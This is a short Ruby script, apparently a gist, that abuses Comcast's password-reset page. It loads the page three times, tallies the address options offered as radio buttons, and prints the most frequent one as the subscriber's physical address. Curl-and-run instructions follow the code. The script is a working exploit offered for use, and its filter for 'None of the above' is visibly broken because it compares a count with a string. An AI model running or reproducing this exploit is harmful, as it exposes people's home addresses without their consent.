physical_address_vulnerability.rb

require 'mechanize'
puts "Searching for your physical address..."
test_results = {}
agent =  Mechanize.new { |agent|
  agent.user_agent = 'Comcast Physical Address Ruby Script: https://gist.github.com/4388650'
}
3.times {
  page = agent.get("https://login.comcast.net/myaccount/reset")
  page.forms.last.radiobuttons.each do |button|
    if test_results[button.value].nil?
      test_results[button.value]=1
    else
      test_results[button.value]+=1
    end
  end
  sleep(1)
}
max = 0
result = nil
test_results.each do |key, val|
  if val > max && val != "None of the above"
    max = val
    result = key
  end
end
puts "The physical address for this computer is: #{result}"

If you don't already have mechanize: gem install mechanize

curl https://gist.github.com/raw/4388650/ce45dd60feccf98942e3349120735eeb3a98156e/physical_address_vulnerability.rb > ~/physical_address_vulnerability.rb
ruby ~/physical_address_vulnerability.rb